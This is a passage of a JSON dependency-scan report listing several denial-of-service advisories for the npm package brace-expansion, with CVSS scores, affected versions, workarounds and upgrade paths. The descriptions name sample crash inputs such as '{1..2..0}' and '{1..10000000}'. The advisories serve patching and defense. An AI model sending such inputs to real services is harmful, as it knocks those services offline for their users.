"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", 